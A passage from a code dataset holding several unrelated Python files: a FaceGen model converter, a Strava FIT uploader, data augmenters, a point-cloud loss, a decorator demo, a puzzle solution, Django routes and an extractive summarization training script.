\"HeadHires.egm\"\nFG_FILE = DIR / \"mean_face.fg\"\n\nSAVE_MODEL = True\nEXPORT_FILE = DIR / 'facegen_au_80-98.npz' # suffix must be .json, .csv or .npz\n\nSAVE_OBJ = True\nOBJ_FILE = DIR / 'mean_face.obj'\n\nSAVE_EDGE_TOPOLOGY = False\nEDGE_TOPOLOGY_FILE = DIR / 'edge_topology.json'\n\n\n# https://facegen.com/dl/sdk/doc/manual/fileformats.html\n\n\ndef unpack(formatStr, fileContent, offset):\n\ts = struct.calcsize(formatStr)\n\ta = struct.unpack_from(formatStr, fileContent, offset)\n\tif len(a) == 1:\n\t\ta = a[0]\n\treturn a, offset + s\n\n\ndef split_quads(q):\n\t# take nfrom: https://stackoverflow.com/a/46255808\n\tt = np.empty((q.shape[0], 2, 3), int)\n\tt[:,0,:] = q[:,(0,1,2)]\n\tt[:,1,:] = q[:,(0,2,3)]\n\tt.shape = (-1, 3)\n\n\tidx_to_delete = 2*np.flatnonzero(q[:,-1] == 0)+1\n\tt = np.delete(t, idx_to_delete, axis=0)\n\treturn t\n\n\ndef load_model(tri_file, egm_file):\n\twith open(tri_file, mode='rb') as file: \n\t\tfileContent = file.read()\n\n\tfiletype, offset = unpack(\"8s\", fileContent, 0)\n\t(V, T, Q, LV, LS, X, ext, Md, Ms, K), offset = unpack(\"10I\", fileContent, offset)\n\t_, offset = unpack(\"16c\", fileContent, offset)\n\n\tvertices, offset = unpack(\"3f\"*(V+K), fileContent, offset)\n\tvertices = np.asarray(vertices).reshape(V+K, 3)\n\n\tif T > 0:\n\t\traise NotImplementedError\n\n\tquads, offset = unpack(\"4I\"*Q, fileContent, offset)\n\tquads = np.array(quads, int).reshape(Q, 4)\n\ttriangles = split_quads(quads)\n\n\tif LV > 0 or LS > 0:\n\t\traise NotImplementedError\n\n\tif X == 0:\n\t\traise NotImplementedError\n\telse:\n\t\ttexcoords, offset = unpack(\"2f\"*X, fileContent, offset)\n\t\ttexcoords = np.asarray(texcoords).reshape(X, 2)\n\t\ttexcoords[:, 1] = 1 - texcoords[:, 1]\n\t\ttexindex, offset = unpack(\"4I\"*Q, fileContent, offset)\n\t\ttexindex = split_quads(np.asarray(texindex).reshape(Q, 4))\n\n\tdm = {}\n\tfor i in range(Md):\n\t\tn, offset = unpack(\"I\", fileContent, offset)\n\t\tlabel, offset = unpack(f\"{n}s\", fileContent, offset)\n\t\tf, offset = unpack(\"f\", fileContent, offset)\n\t\tsh, offset = unpack(\"3h\"*V, fileContent, offset)\n\t\tdm[label.decode()[:-1]] = (np.asarray(sh, np.float32).reshape(V, 3) * f)\n\n\tsm = {}\n\tk = 0\n\tfor i in range(Ms):\n\t\tn, offset = unpack(\"I\", fileContent, offset)\n\t\tlabel, offset = unpack(f\"{n}s\", fileContent, offset)\n\t\tL, offset = unpack(\"I\", fileContent, offset)\n\t\tvertindex, offset = unpack(\"I\"*L, fileContent, offset)\n\t\tif L > V:\n\t\t\traise ValueError\n\t\tsm[label.decode()[:-1]] = vertindex\n\t\tk += L\n\tif not k == K:\n\t\traise RuntimeError\n\n\tif not len(fileContent) == offset:\n\t\traise RuntimeError\n\n\n\twith open(egm_file, mode='rb') as file: \n\t\tfileContent = file.read()\n\n\tfiletype, offset = unpack(\"8s\", fileContent, 0)\n\t(V, S, A, _), offset = unpack(\"4L\", fileContent, offset)\n\t_, offset = unpack(\"40c\", fileContent, offset)\n\n\tif not V == len(vertices):\n\t\traise RuntimeError\n\n\tpca_shapes = []\n\tfor j in range (S):\n\t\tf, offset = unpack(\"f\", fileContent, offset)\n\t\tsh, offset = unpack(\"3h\"*V, fileContent, offset)\n\t\tpca_shapes.append(np.asarray(sh).reshape(V, 3) * f)\n\n\tfor j in range (A):\n\t\tf, offset = unpack(\"f\", fileContent, offset)\n\t\tsh, offset = unpack(\"3h\"*V, fileContent, offset)\n\t\tpca_shapes.append(np.asarray(sh).reshape(V, 3) * f)\n\tpca_shapes = np.array(pca_shapes, np.float32)\n\n\tif not len(fileContent) == offset:\n\t\traise RuntimeError\n\n\t# only use specific AUs\n#\taus =\t['AU01 Inner Brow Raiser', 'AU02 Outer Brow Raiser', 'AU04 Brow Lowerer', 'AU05 Upper Lid Raiser', 'AU06 Cheek Raise', 'AU09 Nose Wrinkler',\n#\t\t\t'AU10 Upper Lip Raiser', 'AU12 Lip Corner Puller', 'AU13 Sharp Lip Puller', 'AU14 Dimpler', 'AU15 Lip Corner Depressor',\n#\t\t\t'AU17 Chin Raiser', 'AU20 Lip Stretcher', 'AU23 Lip Tightener', 'AU25 Lips Parted', 'AU26 Jaw Drop']\n#\tdm = {a: dm[a] for a in aus}\n\n\tmodel = FARModel()\n\tmodel.source_file = [str(tri_file), str(egm_file)]\n\t# create uniform triangle list for vertices and texcoords\n\tp, i, j = np.unique(np.concatenate([vertices[triangles], texcoords[texindex]], axis=2).reshape((-1,5)), axis=0, return_index=True, return_inverse=True)\n\tmodel.triangles = j.reshape((-1,3)).tolist()\n\tmodel.vertices = p[:,:3]\n\tmodel.texcoords = p[:,3:]\n\tmodel.pca_shapes = [[\"\"]*(S+A), pca_shapes[:,triangles].reshape((len(pca_shapes),-1,3))[:,i]]\n\tmodel.exp_shapes = [list(dm.keys()), np.asarray(list(dm.values()))[:,triangles].reshape((len(list(dm.keys())),-1,3))[:,i]]\n\treturn model\n\n\ndef load_shape_coeffs(fg_file):\n\twith open(fg_file, mode='rb') as file: \n\t\tfileContent = file.read()\n\n\tfiletype, offset = unpack(\"8s\", fileContent, 0)\n\n\t(GV, TV, SS, SA, TS, TA, R, T), offset = unpack(\"8L\", fileContent, offset)\n\n\tpca_shapes, offset = unpack(\"h\"*SS, fileContent, offset)\n\tsh, offset = unpack(\"h\"*SA, fileContent, offset)\n\tpca_shapes = np.asarray(pca_shapes + sh, np.float32) / 1000.0\n\n\tst_sh, offset = unpack(\"h\"*TS, fileContent, offset)\n\tat_sh, offset = unpack(\"h\"*TA, fileContent, offset)\n\n\tif T == 1:\n\t\tn, offset = unpack(\"L\", fileContent, offset)\n\telse:\n\t\tn = 0\n\n\tif not offset + struct.calcsize(\"c\"*n) == len(fileContent):\n\t\traise RuntimeError\n\treturn pca_shapes\n\n\nif __name__ == '__main__':\n\tmodel = load_model(TRI_FILE, EGM_FILE)\n\teos_model, edge_topology = model.to_eos()\n\n\tif SAVE_MODEL:\n\t\tmodel.save(EXPORT_FILE)\n\t\tprint(f'Done writing {EXPORT_FILE}!')\n\n\tif SAVE_OBJ:\n\t\teos.core.write_obj(eos_model.get_mean(), str(OBJ_FILE))\n\t\tpca_shapes = load_shape_coeffs(FG_FILE)\n\t\teos.core.write_obj(eos_model.draw_sample(pca_shapes, []), str(DIR / \"standard_face_in_modeller.obj\"))\n\t\tprint(f'Done writing {OBJ_FILE} and mean_face.obj!')\n\n\tif SAVE_EDGE_TOPOLOGY:\n\t\teos.morphablemodel.save_edge_topology(edge_topology, str(EDGE_TOPOLOGY_FILE))\n\t\tprint(f'Done writing {EDGE_TOPOLOGY_FILE}!')\n\n\tprint(\"done\")\n","repo_name":"kanonet/face-avatar-reconstruction","sub_path":"converter/convert-facegen-to-far.py","file_name":"convert-facegen-to-far.py","file_ext":"py","file_size_in_byte":5916,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"74966356211","text":"from stravalib.client import Client\nfrom stravalib.exc import RateLimitExceeded, RateLimitTimeout, ActivityUploadFailed\nfrom config import (\n FIT_OUTPUT_DIR,\n STRAVA_CLIENT_ID,\n STRAVA_CLIENT_SECRET,\n STRAVA_REFRESH_TOKEN,\n STRAVA_ACCESS_TOKEN,\n)\nimport time\nimport os\n\n\ndef upload_file_to_strava(client, file_name, data_type):\n with open(file_name, \"rb\") as f:\n try:\n r = client.upload_activity(activity_file=f, data_type=data_type)\n except RateLimitExceeded as e:\n timeout = e.timeout\n print()\n print(f\"Strava API Rate Limit Exceeded. Retry after {timeout} seconds\")\n print()\n time.sleep(timeout)\n r = client.upload_activity(activity_file=f, data_type=data_type)\n print(\n f\"Uploading {data_type} file: {file_name} to strava, upload_id: {r.upload_id}.\"\n )\n\n\ndef main():\n client_id = STRAVA_CLIENT_ID\n client_secret = STRAVA_CLIENT_SECRET\n refresh_token = STRAVA_REFRESH_TOKEN\n access_token = STRAVA_ACCESS_TOKEN\n\n folder_path = FIT_OUTPUT_DIR\n\n client = Client()\n if len(access_token) != 40:\n refresh_response = client.refresh_access_token(\n client_id=client_id,\n client_secret=client_secret,\n refresh_token=refresh_token,\n )\n\n client.access_token = refresh_response[\"access_token\"]\n else:\n client.access_token = access_token\n\n print(\n \"For {id}, I now have an access token {token}\".format(\n id=client_id, token=client.access_token\n )\n )\n\n # get file list\n files = os.listdir(folder_path)\n\n for file_name in files:\n print(\"======================\\n\", file_name)\n if not file_name.endswith(\".fit\"):\n continue\n\n file_name = os.path.join(folder_path, file_name)\n try:\n upload_file_to_strava(client, file_name, \"fit\")\n except RateLimitTimeout as e:\n timeout = e.timeout\n print(f\"Strava API Rate Limit Timeout. Retry in {timeout} seconds\\n\")\n time.sleep(timeout)\n # try previous again\n upload_file_to_strava(client, file_name, \"fit\")\n\n except ActivityUploadFailed as e:\n print(f\"Upload faild error {str(e)}\")\n # spider rule\n time.sleep(5)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"Ym9i/gpx2fit","sub_path":"fit_2_strava.py","file_name":"fit_2_strava.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"40065067617","text":"from functools import partial\n\nimport nlpaug.augmenter.char as nac\nimport numpy as np\nfrom imgaug import augmenters as iaa\nfrom nlpaug.base_augmenter import Augmenter\n\n\ndef augment_text(\n dataset: list,\n augmenter: Augmenter,\n):\n \"\"\"\n a generic augment process on generator\n :param dataset: dataset generator (batch)\n :param augmenter:\n :return:\n \"\"\"\n for data_point in dataset:\n data, label = data_point\n if augmenter is not None:\n data = augmenter.augments(list(data))\n yield np.asarray(data), np.asarray(label)\n\n\ndef augment_image(\n dataset: list,\n augmenter,\n):\n \"\"\"\n a generic augment process on generator\n :param dataset: dataset generator (batch)\n :param augmenter:\n :return:\n \"\"\"\n for data_point in dataset:\n data, label = data_point\n if augmenter is not None:\n data = augmenter(images=data)\n yield np.asarray(data), np.asarray(label)\n\n\n# NULL augmenter\nnone_augmenter = partial(augment_text, augmenter=None)\n\n# OCR error augmenter\ntext_ocr_augmenter = partial(augment_text, augmenter=nac.OcrAug())\n\n# flip_r image augmenter\nimage_flip_r_augmenter = partial(augment_image, augmenter=iaa.Fliplr())\n\n# rotation image augmenter\nimage_rot_augmenter = partial(augment_image, augmenter=iaa.Rotate())\n","repo_name":"S-AI-F/MLDiag-1","sub_path":"mldiag/augmenters.py","file_name":"augmenters.py","file_ext":"py","file_size_in_byte":1336,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"13421970507","text":"import sys\nimport jittor as jt\nsys.path.append('..')\n\nfrom loss_functions import chamfer_l1, chamfer_l2\nfrom models.utils import FurthestPointSampler\n\nclass CompletionLoss:\n def __init__(self, dataset, loss_func='cd_l1'):\n\n if loss_func == 'cd_l1':\n metric = chamfer_l1\n elif loss_func == 'cd_l2':\n metric = chamfer_l2\n elif loss_func == 'emd':\n pass\n else:\n raise Exception('loss function {} not supported yet!'.format(loss_func))\n self.metric = metric\n\n if dataset == 'Completion3D':\n nums_sub_points = [256, 512, 1024]\n elif dataset in ['ShapeNet-34', 'ShapeNet-Unseen21', 'PCN']:\n nums_sub_points = [256, 512, 2048]\n else:\n raise Exception('dataset {} not supported yet!'.format(dataset))\n\n self.fps_samplers = {}\n for n_points in reversed(nums_sub_points):\n if n_points not in self.fps_samplers:\n self.fps_samplers[n_points] = FurthestPointSampler(n_points)\n\n def get_loss(self, pcds_pred, partial, gt, test=False):\n loss_all = self.metric(pcds_pred[-1], gt)\n cd_p3 = [loss_all.numpy()[0]]\n for pcd in reversed(pcds_pred[:-1]):\n n_points = pcd.shape[1]\n if n_points == gt.shape[1]:\n cd_loss = self.metric(pcd, gt)\n elif n_points in self.fps_samplers:\n gt = self.fps_samplers[n_points](gt)\n cd_loss = self.metric(pcd, gt)\n else:\n raise Exception('Invalid point cloud list')\n loss_all = loss_all + cd_loss\n if test:\n cd_p3.insert(0, cd_loss)\n\n if test:\n cd_p3.insert(0, jt.array(0).float())\n\n return loss_all, cd_p3\n\n\n\n\n","repo_name":"AllenXiangX/SPD_jittor","sub_path":"completion/utils/loss_util.py","file_name":"loss_util.py","file_ext":"py","file_size_in_byte":1789,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"21"} +{"seq_id":"2483949171","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n# Andre Augusto Giannotti Scota (https://sites.google.com/view/a2gs/)\n\nfrom decorators import timer, debug\n\nclass mySampleClass:\n\t@debug\n\tdef __init__(self, max_num):\n\t\tself.max_num = max_num\n\n\t@debug\n\t@timer\n\tdef printIt(self, msg):\n\t\tprint(msg)\n\t\treturn 13\n\n\t@timer\n\tdef waste_time(self, num_times):\n\t\tfor _ in range(num_times):\n\t\t\tsum([i**2 for i in range(self.max_num)])\n\ntw = mySampleClass(1000)\nprint('')\ni = tw.printIt(\"Hi!\")\nprint(i)\nprint('')\ntw.waste_time(999)\n","repo_name":"a2gs/pythonStudy","sub_path":"decorator/full_sample_decorator_inside_class_members.py","file_name":"full_sample_decorator_inside_class_members.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5631456216","text":"import sys\nsys.stdin = open('input.txt')\n\n#코드 패턴 딕셔너리 형태로 저장\nmy_pattern = {\n '0001101': 0,\n '0011001': 1,\n '0010011': 2,\n '0111101': 3,\n '0100011': 4,\n '0110001': 5,\n '0101111': 6,\n '0111011': 7,\n '0110111': 8,\n '0001011': 9,\n}\nT = int(input())\nfor tc in range(1, T+1):\n # n, m값을 공백을 기준으로 저장\n n, m = map(int, input().split())\n # 입력값 받아오기\n arr = [input() for _ in range(n)]\n # 암호를 받아 줄 빈 공간 변수 만들기\n my_code = ''\n\n for i in range(n):\n # 리스트를 돌면서 한 줄의 합이 0이면 그 줄은 전체 0인것이니 무시하고 계속 진행\n if sum(map(int, list(arr[i]))) == 0:\n continue\n else:\n # 암호문 코드의 줄은 i번쨰 줄이다.\n v_code = arr[i]\n # 맨 뒤에서 부터 보면서 1이 나오면 거기부터 56개가 암호이므로\n for j in range(m-1, -1, -1):\n if v_code[j] == '1':\n # my_code 변수에 저장하고 break.\n my_code = v_code[j-55:j+1]\n break\n break\n # my_code_list 변수에 my_code 에서 7개씩 잘라서 my_pattern 안에 있는 암호와 비교할것이다.\n my_code_list = [my_pattern[my_code[i:i+7]] for i in range(0, 56, 7)]\n # 홀, 짝수 번째 인덱스 암호들 담을 변수 선언\n odd = 0\n even = 0\n for i in range(7):\n # 짝수면\n if i % 2:\n # 짝수 변수에 my_code_list[i]번째 값을 더해주며 담아주고\n even += my_code_list[i]\n # 홀수면\n else:\n # 홀수 변수에 my_code_list[i]번째 값을 더해주면서 담아준다.\n odd += my_code_list[i]\n # 정답을 찾을 answer 변수에 조건에 맞게 홀수번째 인덱스 * 3 + 짝수 인덱스 + 검증코드\n answer = odd * 3 + even + my_code_list[-1]\n # 만약 answer 안의 값이 10으로 나눴을 떄 맞아 떨어진다면 정답이므로 출력\n if answer % 10 == 0:\n print(f'#{tc} {sum(my_code_list)}')\n # 아니면 정답이 아니므로 0 출력\n else:\n print(f'#{tc} 0')\n","repo_name":"Haru-arp/TIL","sub_path":"Algorithm/SWEA/1240_단순 2진 암호코드/1240_2진암호.py","file_name":"1240_2진암호.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"8051678808","text":"from django.urls import path, reverse_lazy\nfrom . import views\nfrom django.views.generic import TemplateView\n\n\n\nurlpatterns = [\n path('', views.index, name='home'),\n path('situations', views.SituationListView.as_view(), name='situations'),\n path('situation/', views.SituationDetailView.as_view(), name='situation_detail'),\n path('situation/create', views.SituationCreateView.as_view(success_url=reverse_lazy('situations')), name='situation_create'),\n path('situation//update', views.SituationUpdateView.as_view(success_url=reverse_lazy('situations')), name='situation_update'),\n path('situation//delete', views.SituationDeleteView.as_view(success_url=reverse_lazy('situations')), name='situation_delete'),\n path('situation//comment', views.CommentCreateView.as_view(), name='comment_create'),\n path('comment//delete', views.CommentDeleteView.as_view(success_url=reverse_lazy('situations')), name='comment_delete'),\n # path('countries', views.CountryListView.as_view(), name='countries'),\n # path('country/', views.CountryDetailView.as_view(), name='country_detail'),\n path('search', views.search, name='search'),\n]\n","repo_name":"monicacpagani/SI664_final_project","sub_path":"idp_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14353412773","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport numpy as np\nimport transformers\nimport spacy\nimport warnings\nimport logging\nimport json\nimport gzip\nimport os\n\nfrom torch.optim import AdamW\nfrom torch.utils.data import Dataset, DataLoader\nfrom transformers import AutoTokenizer, AutoModel, AutoConfig\nfrom transformers.data.metrics import acc_and_f1\nfrom pytorch_lightning import LightningDataModule, LightningModule, Trainer\nfrom pytorch_lightning.callbacks.progress import TQDMProgressBar\nfrom pytorch_lightning.callbacks import ModelCheckpoint, LearningRateMonitor, EarlyStopping\nfrom tensorflow.keras.utils import pad_sequences\nfrom datasets import load_metric\nfrom collections import OrderedDict\nfrom argparse import Namespace\nfrom time import strftime, localtime\nfrom glob import glob\n\n\nlogger = logging.getLogger(__name__)\nwarnings.filterwarnings(\"ignore\", category=Warning)\ntransformers.logging.set_verbosity_error()\n\n\ndef _get_ngrams(n_gram: int, text: list) -> set:\n ngram_set = set()\n text_length = len(text)\n max_index_ngram_start = text_length - n_gram\n for i in range(max_index_ngram_start + 1):\n ngram_set.add(tuple(text[i : i + n_gram]))\n return ngram_set\n\n\ndef _block_trigrams(candidate: str, prediction: list) -> bool:\n tri_c = _get_ngrams(3, candidate.split())\n for s in prediction:\n tri_s = _get_ngrams(3, s.split())\n if len(tri_c.intersection(tri_s)) > 0:\n return True\n return False\n\n\ndef _get_input_ids(\n tokenizer,\n src_txt,\n bert_compatible_cls=True,\n max_length=None,\n):\n sep_token = tokenizer.sep_token\n cls_token = tokenizer.cls_token\n if max_length is None:\n max_length = list(tokenizer.max_model_input_sizes.values())[0]\n if max_length > tokenizer.model_max_length:\n max_length = tokenizer.model_max_length\n\n if bert_compatible_cls:\n unk_token = str(tokenizer.unk_token)\n src_txt = [\n sent.replace(sep_token, unk_token).replace(cls_token, unk_token) for sent in src_txt\n ]\n\n if not len(src_txt) < 2:\n separation_string = \" \" + sep_token + \" \" + cls_token + \" \"\n text = separation_string.join(src_txt)\n else:\n try:\n text = src_txt[0]\n except IndexError:\n text = src_txt\n\n src_subtokens = tokenizer.tokenize(text)\n src_subtokens = src_subtokens[: (max_length - 2)]\n src_subtokens.insert(0, cls_token)\n src_subtokens.append(sep_token)\n input_ids = tokenizer.convert_tokens_to_ids(src_subtokens)\n else:\n input_ids = tokenizer.encode(\n src_txt,\n add_special_tokens=True,\n max_length=min(max_length, tokenizer.model_max_length),\n )\n\n return input_ids\n\n\ndef load_json(json_file):\n documents = None\n file_path, file_extension = os.path.splitext(json_file)\n if file_extension == \".json\":\n with open(json_file, \"r\") as json_file_object:\n documents = json.load(json_file_object)\n elif file_extension == \".gz\":\n file_path = os.path.splitext(file_path)[0]\n with gzip.open(json_file, \"r\") as json_gzip:\n json_bytes = json_gzip.read()\n json_str = json_bytes.decode(\"utf-8\")\n documents = json.loads(json_str)\n else:\n logger.error(\"File extension %s is not recognized. ('.json' or '.gz')\", file_extension)\n return documents, file_path\n\n\ndef json_to_dataset(tokenizer, inputs=None, num_files=0):\n idx, json_file = inputs\n logger.info(\"Processing %s (%i/%i)\", json_file, idx + 1, num_files)\n\n datasets = list()\n documents, file_path = load_json(json_file)\n for idx, document in enumerate(documents):\n if idx % 1000 == 0:\n logger.info(\"Generating features for example %s/%s\", idx, len(documents))\n sources = [\" \".join(sent) for sent in document[\"src\"]]\n\n input_ids = _get_input_ids(tokenizer, sources, bert_compatible_cls=True)\n attention_mask = [1] * len(input_ids)\n\n token_type_ids = []\n segment_flag = True\n for ids in input_ids:\n token_type_ids += [0 if segment_flag else 1]\n if ids == tokenizer.sep_token_id:\n segment_flag = not segment_flag\n\n sent_rep_id = tokenizer.sep_token_id\n sent_rep_token_ids = [i for i, t in enumerate(input_ids) if t == sent_rep_id]\n labels = document[\"labels\"][: len(sent_rep_token_ids)]\n\n datasets.append(\n {\n \"input_ids\": input_ids,\n \"attention_mask\": attention_mask,\n \"token_type_ids\": token_type_ids,\n \"sent_rep_token_ids\": sent_rep_token_ids,\n \"labels\": labels,\n \"sources\": sources,\n \"targets\": document[\"tgt\"] if \"tgt\" in document else None,\n }\n )\n\n return datasets\n\n\ndef preprocess_datasets(hparams):\n tokenizer = AutoTokenizer.from_pretrained(hparams.model_name, use_fast=True)\n print(tokenizer.model_max_length)\n\n datasets = dict()\n data_types = [\"train\", \"val\", \"test\"]\n for data_type in data_types:\n json_files = glob(os.path.join(hparams.src_data_path, \"*\" + data_type + \".*.json*\"))\n json_files = sorted(json_files)[:1]\n\n data = list()\n for inputs in enumerate(json_files):\n data.append(json_to_dataset(tokenizer, inputs, num_files=len(json_files)))\n datasets[data_type] = np.concatenate(data, axis=0)\n np.save(\n os.path.join(hparams.data_dir, \"dataset_\" + data_type + \"_small.npy\"),\n datasets[data_type],\n )\n\n return datasets\n\n\nclass CnnDataModule(LightningDataModule):\n def __init__(self, data_dir: str, batch_size: int, max_seq_len: int) -> None:\n super().__init__()\n self.data_dir = data_dir\n self.batch_size = batch_size\n self.max_seq_len = max_seq_len\n self.datasets = dict()\n\n def prepare_data(self) -> None:\n datasets = dict()\n data_types = [\"train\", \"val\", \"test\"]\n for data_type in data_types:\n datasets[data_type] = np.load(\n os.path.join(self.data_dir, f\"dataset_{data_type}_small.npy\"), allow_pickle=True\n )\n self.datasets = datasets\n\n def setup(self, stage=None) -> None:\n if stage == \"fit\" or stage is None:\n logger.info(\"Loading train data...\")\n if stage == \"test\" or stage is None:\n logger.info(\"Loading test data...\")\n\n def train_dataloader(self) -> DataLoader:\n return DataLoader(\n self.datasets[\"train\"],\n batch_size=self.batch_size,\n shuffle=True,\n collate_fn=self.collate_fn,\n )\n\n def val_dataloader(self) -> DataLoader:\n return DataLoader(\n self.datasets[\"val\"],\n batch_size=self.batch_size,\n shuffle=True,\n collate_fn=self.collate_fn,\n )\n\n def test_dataloader(self) -> DataLoader:\n return DataLoader(\n self.datasets[\"test\"],\n batch_size=self.batch_size,\n shuffle=True,\n collate_fn=self.collate_fn,\n )\n\n def collate_fn(self, batch):\n input_ids = [item[\"input_ids\"] for item in batch]\n attention_mask = [[1] * len(input_id) for input_id in input_ids]\n token_type_ids = [item[\"token_type_ids\"] for item in batch]\n sent_rep_token_ids = [item[\"sent_rep_token_ids\"] for item in batch]\n labels = [item[\"labels\"] for item in batch]\n\n input_ids = pad_sequences(input_ids, maxlen=self.max_seq_len, padding=\"post\")\n attention_mask = pad_sequences(attention_mask, maxlen=self.max_seq_len, padding=\"post\")\n token_type_ids = pad_sequences(token_type_ids, maxlen=self.max_seq_len, padding=\"post\")\n sent_rep_token_ids = pad_sequences(sent_rep_token_ids, padding=\"post\", value=-1)\n labels = pad_sequences(labels, padding=\"post\")\n\n sent_rep_masks = ~(sent_rep_token_ids == -1)\n sent_rep_token_ids[~sent_rep_masks] = 0\n\n sources, targets = None, None\n if \"source\" and \"target\" in batch[0].keys():\n sources = [item[\"source\"] for item in batch]\n targets = [item[\"target\"] for item in batch]\n\n return {\n \"input_ids\": torch.tensor(input_ids, dtype=torch.long),\n \"attention_mask\": torch.tensor(attention_mask, dtype=torch.long),\n \"token_type_ids\": torch.tensor(token_type_ids, dtype=torch.long),\n \"sent_rep_token_ids\": torch.tensor(sent_rep_token_ids, dtype=torch.long),\n \"sent_rep_masks\": torch.tensor(sent_rep_masks, dtype=torch.bool),\n \"labels\": torch.tensor(labels, dtype=torch.long),\n \"sources\": sources,\n \"targets\": targets,\n }\n\n\nclass SimpleLinearClassifier(nn.Module):\n def __init__(self, hidden_size):\n super().__init__()\n self.linear = nn.Linear(hidden_size, 1)\n\n def forward(self, x, masks):\n x = self.linear(x).squeeze(-1)\n sentence_scores = x * masks.float()\n sentence_scores[sentence_scores == 0] = -1e10\n return sentence_scores\n\n\nclass ExtractiveSummarization(LightningModule):\n def __init__(self, hparams: Namespace) -> None:\n super().__init__()\n if type(hparams) is dict:\n hparams = Namespace(**hparams)\n self.save_hyperparameters(hparams)\n model_name = getattr(hparams, \"model_name\", hparams.model_name_or_path)\n self.tokenizer = AutoTokenizer.from_pretrained(model_name, use_fast=True)\n self.model = AutoModel.from_pretrained(model_name)\n self.classifier = SimpleLinearClassifier(self.model.config.hidden_size)\n self.loss_fn = nn.BCEWithLogitsLoss(reduction=\"none\")\n self.nlp = spacy.load(\"en_core_web_sm\")\n\n def forward(\n self, input_ids, attention_mask, token_type_ids, sent_rep_token_ids, sent_rep_masks\n ) -> torch.Tensor:\n inputs = {\n \"input_ids\": input_ids,\n \"attention_mask\": attention_mask,\n \"token_type_ids\": token_type_ids,\n }\n\n outputs = self.model(**inputs)\n hidden_states = outputs[0]\n sentence_vectors = hidden_states[\n torch.arange(hidden_states.size(0)).unsqueeze(dim=1), sent_rep_token_ids\n ]\n sentence_vectors = sentence_vectors * sent_rep_masks[:, :, None].float()\n sentence_scores = self.classifier(sentence_vectors, sent_rep_masks)\n\n return sentence_scores\n\n def compute_loss(self, outputs, labels, masks):\n loss = self.loss_fn(outputs, labels.float()) * masks.float()\n\n sum_loss_per_sequence = loss.sum(dim=1)\n num_not_padded_per_sequence = masks.sum(dim=1).float()\n average_per_sequence = sum_loss_per_sequence / num_not_padded_per_sequence\n\n sum_avg_seq_loss = average_per_sequence.sum()\n batch_size = average_per_sequence.size(0)\n mean_avg_seq_loss = sum_avg_seq_loss / batch_size\n\n total_loss = sum_loss_per_sequence.sum()\n total_num_not_padded = num_not_padded_per_sequence.sum().float()\n average_loss = total_loss / total_num_not_padded\n total_norm_batch_loss = total_loss / batch_size\n\n return (\n total_loss,\n total_norm_batch_loss,\n sum_avg_seq_loss,\n mean_avg_seq_loss,\n average_loss,\n )\n\n @staticmethod\n def dict_keys(batch):\n input_ids = batch[\"input_ids\"]\n attention_mask = batch[\"attention_mask\"]\n token_type_ids = batch[\"token_type_ids\"]\n sent_rep_token_ids = batch[\"sent_rep_token_ids\"]\n sent_rep_masks = batch[\"sent_rep_masks\"]\n labels = batch[\"labels\"]\n\n sources, targets = None, None\n if \"sources\" and \"targets\" in batch.keys():\n sources = batch[\"sources\"]\n targets = batch[\"targets\"]\n\n return (\n input_ids,\n attention_mask,\n token_type_ids,\n sent_rep_token_ids,\n sent_rep_masks,\n labels,\n sources,\n targets,\n )\n\n def training_step(self, batch, batch_idx) -> dict:\n (\n input_ids,\n attention_mask,\n token_type_ids,\n sent_rep_token_ids,\n sent_rep_masks,\n labels,\n sources,\n targets,\n ) = self.dict_keys(batch)\n\n outputs = self(\n input_ids, attention_mask, token_type_ids, sent_rep_token_ids, sent_rep_masks\n )\n loss = self.compute_loss(outputs, labels, sent_rep_masks)\n self.log(\"train_loss\", loss[0])\n\n return {\"loss\": loss[0]}\n\n def validation_step(self, batch, batch_idx):\n (\n input_ids,\n attention_mask,\n token_type_ids,\n sent_rep_token_ids,\n sent_rep_masks,\n labels,\n sources,\n targets,\n ) = self.dict_keys(batch)\n\n outputs = self(\n input_ids, attention_mask, token_type_ids, sent_rep_token_ids, sent_rep_masks\n )\n loss = self.compute_loss(outputs, labels, sent_rep_masks)\n self.log(\"val_loss\", loss[0], prog_bar=True)\n\n def test_step(self, batch, batch_idx):\n (\n input_ids,\n attention_mask,\n token_type_ids,\n sent_rep_token_ids,\n sent_rep_masks,\n labels,\n sources,\n targets,\n ) = self.dict_keys(batch)\n\n outputs = self(\n input_ids, attention_mask, token_type_ids, sent_rep_token_ids, sent_rep_masks\n )\n outputs = torch.sigmoid(outputs)\n\n y_pred = outputs.clone().detach()\n y_pred[y_pred < 0.5] = 0\n y_pred[y_pred >= 0.5] = 1\n y_pred = torch.flatten(y_pred).cpu().numpy()\n y_true = torch.flatten(labels).cpu().numpy()\n result = acc_and_f1(y_pred, y_true)\n\n sorted_ids = torch.argsort(outputs, dim=1, descending=True).detach().cpu().numpy()\n\n predictions = []\n for idx, (source, source_ids, target) in enumerate(zip(sources, sorted_ids, targets)):\n current_prediction = []\n for sent_idx, i in enumerate(source_ids):\n if i >= len(source):\n logger.debug(\n \"Only %i examples selected from document %i in batch %i. This is likely because some sentences \"\n + \"received ranks so small they rounded to zero and a padding 'sentence' was randomly chosen.\",\n sent_idx + 1,\n idx,\n batch_idx,\n )\n continue\n\n candidate = source[i].strip()\n if not _block_trigrams(candidate, current_prediction):\n current_prediction.append(candidate)\n\n if len(current_prediction) >= self.hparams.top_k_sentences:\n break\n\n current_prediction = \"\".join(current_prediction)\n predictions.append(current_prediction)\n\n with open(\"../data/cnn_daily/save_gold.txt\", \"w\", encoding=\"utf-8\") as save_gold, open(\n \"../data/cnn_daily/save_pred.txt\", \"w\", 